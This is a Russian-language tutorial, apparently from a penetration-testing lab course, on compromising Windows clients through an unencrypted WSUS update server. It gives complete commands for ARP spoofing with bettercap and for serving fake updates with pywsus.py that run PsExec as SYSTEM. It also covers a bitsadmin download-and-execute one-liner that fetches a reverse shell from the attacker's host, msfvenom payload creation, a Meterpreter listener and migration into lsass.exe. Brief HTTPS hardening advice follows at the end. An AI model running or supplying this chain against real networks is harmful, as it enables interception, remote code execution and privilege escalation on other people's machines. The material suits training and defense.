October 3, 2024

Атака на локальный сервер обновлений Windows (WSUS)

По умолчанию при развёртывании службы обновлений Windows Server (WSUS) настройка SSL сертификатов не требуется, трафик передается в открытом виде по HTTP протоколу.

Данная конфигурация службы обновлений является уязвимой и может быть проэксплуатирована атакующим при помощи MitM-атаки: незащищенный трафик, идущий на легитимный сервер обновлений, перенаправляется на поддельный, что дает атакующему возможность внедрять произвольные метаданные обновлений (например подделывать ответы на SOAP запросы «SyncUpdates (software)» (данный запрос позволяет выполнить проверку наличия неустановленных обновлений ПО) и «GetExtendedUpdateInfo» (запрашивает метаданные обновления у WSUS, в числе которых URL ссылка на файл с обновлением)).

Последовательность атаки на WSUS:

  • Атакующий осуществляет MitM атаку;
  • Клиент, ОС Windows, отправляет запрос на обновление системы на WSUS;
  • Атакующий подделывает ответ на запрос обновления. В ответе на запрос GetExtendedUpdateInfo, атакующий указывает файл, который будет загружен и выполнен. Поскольку на клиенте будут выполняться только исполняемые файлы с действительной подписью Microsoft, целесообразно использовать одну из утилит sysinternals, обладающих такой подписью. Также утилита должна иметь возможность выполнения команд, в связи с чем предлагается использовать PsExec.
  • Метаданные для пакета обновления содержат тег «InstallCommand», который используется для передачи дополнительных параметров при установке файла обновления. Эти параметры не проверяются на целостность, поэтому их можно изменить, получая возможность выполнять команды с правами привилегированной учетной записи «NT AUTHORITY\SYSTEM»:

Реализация атаки

Первым шагом проведения атаки – является MitM атака, в ходе которой запрос на обновление будет перенаправлен на WSUS атакующего. Осуществить данную атаку можно при помощи инструмента bettercap, используя встроенный механизм проксирования трафика:

sudo bettercap -iface eth0

Для активации ARP spoofing атаки и перенаправления трафика необходимо использовать следующие настройки:

set arp.spoof.targets 10.10.10.50
set arp.spoof.internal true
set any.proxy.iface eth0
set any.proxy.protocol TCP
set any.proxy.src_address $WSUS_IP
set any.proxy.src_port 8530
set any.proxy.dst_address 10.10.10.25
set any.proxy.dst_port 8530
any.proxy on
arp.spoof on

- arp.spoof.targets - определяет машину, ARP таблица которой будет отравлена;

- arp.spoof.internal true - указывает на необходимость осуществления атаки на машины в локальной сети (по умолчанию атака осуществляется на шлюз);

- any.proxy - определяют сетевой трафик, который будет перенаправлен: в данном случае весь TCP трафик идущий на $WSUS_IP:8530 будет перенаправлен на машину атакующего 10.10.10.25:8530;

- any.proxy on - запускает перенаправление трафика;

- arp.spoof on - запускает ARP spoofing атаку.

Вторым шагом будет использование инструмента pywsus.py для развёртывания поддельного сервера обновлений и дальнейшей атаки:

python3 pywsus.py --host 10.10.10.25 --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "some command"'

- --host (-H) – IP адрес атакующего;

- --port (-p) – порт, на котором будет запущен поддельный WSUS;

- --executable (-e) указывает на утилиту, обладающую подписью Microsoft, и возможностью исполнения команд;

- --command – команда которая будет помещена в аргумент InstallCommand.

В качестве команды может быть загрузка и выполнение файла для получения удаленной оболочки:

bitsadmin /transfer mydownloadjob /download /priority FOREGROUND "http://10.10.10.25:8080/reverse.exe" "%TEMP%\reverse.exe" && %TEMP%\reverse.exe

Помимо утилиты bitsadmin для загрузки файлов можно использовать другие исполняемые файлы, полный перечень которых можно найти в списке lolbins.
Для создания полезной нагрузки (файла reverse.exe) можно воспользоваться утилитой msfvenom, для этого выполним команду:

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.25 LPORT=6666 -f exe -o reverse.exe

Для доставки файла запустим http-сервер:

python3 -m http.server 8080

Если атакующий обладает доступом к непривилегированной учетной записи, он может инициировать проверку обновления вручную, что позволит выполнить команды с повышенными привилегиями (от имени учетной записи «NT AUTHORITY\SYSTEM»), тем самым достигая локального повышения привилегий (Local Privilege Escalation, LPE) (из графического интерфейса «Проверить наличие обновлений», из консоли командой usoclient.exe startscan). Также существует реализация данной атаки с локальным поддельным WSUS WSuspicious.

Тем временем следует запустить listener и дождаться получения meterpreter сессии:

msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter_reverse_tcp; set lhost 10.10.10.25; set lport 6666; exploit"

Была получена meterpreter сессия от пользователя «NT AUTHORITY\SYSTEM» с рабочей станции USER-PC2.
Для практического выполнения следующих разделов можно открыть meterpreter сессию вручную, для этого выполните шаги по созданию и доставке reverse.exe (а также запуску listener), выполните команду для загрузки и выполнения файла для получения удаленной оболочки (bitsadmin …) от имени пользователя PcAdmin (пароль qwe123!@#) на рабочей станции USER-PC2 (запустив cmd с правами администратора).

bitsadmin /transfer mydownloadjob /download /priority FOREGROUND "http://10.10.10.25:8080/reverse.exe" "%TEMP%\reverse.exe" && %TEMP%\reverse.exe

Так как пользователь PcAdmin входит в группу локальных администраторов USER-PC2, при помощи модуля getsystem можно получить системные привилегии. Далее необходимо выполнить миграцию на системный процесс, например lsass.exe:

migrate -N lsass.exe

Рекомендации

Настроить HTTPS соединение для работы с сервисом обновлений Windows. Для этого необходимо выполнить следующие шаги:

  • Создать/получить сертификат;
  • Установить сертификат для веб-сервера WSUS;
  • Для IIS каталогов: ApiRemoting30, ClientWebServices, DssAuthWebService, ServerSyncWebService, SimpleAuthWebService, установить принудительное использование шифрования SSL/TLS;
  • Настроить WSUS для использования HTTPS;
  • Настроить клиентов для использования HTTPS.